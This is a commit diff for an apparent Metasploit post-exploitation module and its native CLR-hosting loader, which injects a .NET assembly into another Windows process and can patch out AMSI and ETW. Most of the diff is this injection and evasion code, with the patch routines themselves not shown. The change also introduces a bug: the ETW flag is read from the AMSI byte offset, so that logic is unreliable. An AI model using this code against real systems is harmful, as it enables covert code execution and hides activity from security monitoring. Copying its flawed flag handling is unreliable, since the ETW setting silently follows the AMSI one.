Adjust how HostingCLR arguments are packed
This commit is contained in:
@@ -0,0 +1,2 @@
|
|||||||
|
HostingCLR*
|
||||||
|
!HostCLR*.dll
|
||||||
Binary file not shown.
@@ -0,0 +1,2 @@
|
|||||||
|
HostingCLR/Release/*
|
||||||
|
HostingCLR/x64/*
|
||||||
@@ -19,8 +19,8 @@
|
|||||||
#define MethodJittingStarted 145
|
#define MethodJittingStarted 145
|
||||||
#define ILStubGenerated 88
|
#define ILStubGenerated 88
|
||||||
|
|
||||||
unsigned char amsiflag[1];
|
bool amsiflag;
|
||||||
unsigned char etwflag[1];
|
bool etwflag;
|
||||||
unsigned char signflag[1];
|
unsigned char signflag[1];
|
||||||
|
|
||||||
char sig_40[] = { 0x76,0x34,0x2E,0x30,0x2E,0x33,0x30,0x33,0x31,0x39 };
|
char sig_40[] = { 0x76,0x34,0x2E,0x30,0x2E,0x33,0x30,0x33,0x31,0x39 };
|
||||||
@@ -113,11 +113,11 @@ int executeSharp(LPVOID lpPayload)
|
|||||||
//Taking pointer to amsi
|
//Taking pointer to amsi
|
||||||
unsigned char *offsetamsi = allData + 8;
|
unsigned char *offsetamsi = allData + 8;
|
||||||
//Store amsi flag
|
//Store amsi flag
|
||||||
memcpy(amsiflag, offsetamsi, 1);
|
amsiflag = (offsetamsi[0] != 0);
|
||||||
|
|
||||||
unsigned char *offsetetw = allData + 9;
|
unsigned char *offsetetw = allData + 9;
|
||||||
//Store amsi flag
|
//Store etw flag
|
||||||
memcpy(etwflag, offsetetw, 1);
|
etwflag = (offsetamsi[0] != 0);
|
||||||
|
|
||||||
unsigned char *offsetsign = allData + 10;
|
unsigned char *offsetsign = allData + 10;
|
||||||
//Store sihnature flag
|
//Store sihnature flag
|
||||||
@@ -153,7 +153,7 @@ int executeSharp(LPVOID lpPayload)
|
|||||||
}
|
}
|
||||||
|
|
||||||
//Etw bypass
|
//Etw bypass
|
||||||
if (etwflag[0] == '\x01')
|
if (etwflag)
|
||||||
{
|
{
|
||||||
int ptcResult = PatchEtw();
|
int ptcResult = PatchEtw();
|
||||||
if (ptcResult == -1)
|
if (ptcResult == -1)
|
||||||
@@ -238,7 +238,7 @@ int executeSharp(LPVOID lpPayload)
|
|||||||
}
|
}
|
||||||
|
|
||||||
//Amsi bypass
|
//Amsi bypass
|
||||||
if (amsiflag[0] == '\x01')
|
if (amsiflag)
|
||||||
{
|
{
|
||||||
int ptcResult = PatchAmsi();
|
int ptcResult = PatchAmsi();
|
||||||
if (ptcResult == -1)
|
if (ptcResult == -1)
|
||||||
|
|||||||
@@ -13,6 +13,11 @@ class MetasploitModule < Msf::Post
|
|||||||
include Msf::Post::Windows::ReflectiveDLLInjection
|
include Msf::Post::Windows::ReflectiveDLLInjection
|
||||||
include Msf::Post::Windows::Dotnet
|
include Msf::Post::Windows::Dotnet
|
||||||
|
|
||||||
|
SIGNATURES = {
|
||||||
|
'Main()' => 1,
|
||||||
|
'Main(string[])' => 2
|
||||||
|
}.freeze
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(
|
super(
|
||||||
update_info(
|
update_info(
|
||||||
@@ -38,7 +43,7 @@ class MetasploitModule < Msf::Post
|
|||||||
[
|
[
|
||||||
OptPath.new('DOTNET_EXE', [true, 'Assembly file name']),
|
OptPath.new('DOTNET_EXE', [true, 'Assembly file name']),
|
||||||
OptString.new('ARGUMENTS', [false, 'Command line arguments']),
|
OptString.new('ARGUMENTS', [false, 'Command line arguments']),
|
||||||
OptEnum.new('Signature', [true, 'The Main function signature', 'Automatic', ['Automatic', 'Main()', 'Main(string[])']]),
|
OptEnum.new('Signature', [true, 'The Main function signature', 'Automatic', ['Automatic'] + SIGNATURES.keys]),
|
||||||
OptString.new('PROCESS', [false, 'Process to spawn', 'notepad.exe']),
|
OptString.new('PROCESS', [false, 'Process to spawn', 'notepad.exe']),
|
||||||
OptString.new('USETHREADTOKEN', [false, 'Spawn process with thread impersonation', true]),
|
OptString.new('USETHREADTOKEN', [false, 'Spawn process with thread impersonation', true]),
|
||||||
OptInt.new('PID', [false, 'Pid to inject', 0]),
|
OptInt.new('PID', [false, 'Pid to inject', 0]),
|
||||||
@@ -234,35 +239,25 @@ class MetasploitModule < Msf::Post
|
|||||||
etw_flag_size = 1
|
etw_flag_size = 1
|
||||||
assembly_size = File.size(exe_path)
|
assembly_size = File.size(exe_path)
|
||||||
|
|
||||||
cln_params = ""
|
cln_params = ''
|
||||||
case datastore['Signature']
|
if datastore['Signature'] == 'Automatic'
|
||||||
when 'Automatic'
|
signature = datastore['ARGUMENTS'].blank? ? SIGNATURES['Main()'] : SIGNATURES['Main(string[])']
|
||||||
signature = datastore['ARGUMENTS'].blank? ? "\x01" : "\x02"
|
else
|
||||||
when 'Main()'
|
signature = SIGNATURES.fetch(datastore['Signature'])
|
||||||
signature = "\x01"
|
|
||||||
when 'Main(string[])'
|
|
||||||
signature = "\x02"
|
|
||||||
cln_params << datastore['ARGUMENTS']
|
|
||||||
end
|
end
|
||||||
|
cln_params << datastore['ARGUMENTS'] if signature == SIGNATURES['Main(string[])']
|
||||||
cln_params << "\x00"
|
cln_params << "\x00"
|
||||||
argssize = cln_params.length
|
|
||||||
|
|
||||||
payload_size = amsi_flag_size + etw_flag_size + sign_flag_size + int_param_size
|
payload_size = amsi_flag_size + etw_flag_size + sign_flag_size + int_param_size
|
||||||
payload_size += assembly_size + argssize
|
payload_size += assembly_size + cln_params.length
|
||||||
assembly_mem = process.memory.allocate(payload_size, PAGE_READWRITE)
|
assembly_mem = process.memory.allocate(payload_size, PAGE_READWRITE)
|
||||||
params = [assembly_size].pack('I*')
|
params = [
|
||||||
params += [argssize].pack('I*')
|
assembly_size,
|
||||||
if datastore['AMSIBYPASS'] == true
|
cln_params.length,
|
||||||
params += "\x01"
|
datastore['AMSIBYPASS'] ? 1 : 0,
|
||||||
else
|
datastore['ETWBYPASS'] ? 1 : 0,
|
||||||
params += "\x02"
|
signature
|
||||||
end
|
].pack('IICCC')
|
||||||
if datastore['ETWBYPASS'] == true
|
|
||||||
params += "\x01"
|
|
||||||
else
|
|
||||||
params += "\x02"
|
|
||||||
end
|
|
||||||
params += signature
|
|
||||||
params += cln_params
|
params += cln_params
|
||||||
|
|
||||||
process.memory.write(assembly_mem, params + File.read(exe_path))
|
process.memory.write(assembly_mem, params + File.read(exe_path))
|
||||||
|
|||||||
Reference in New Issue
Block a user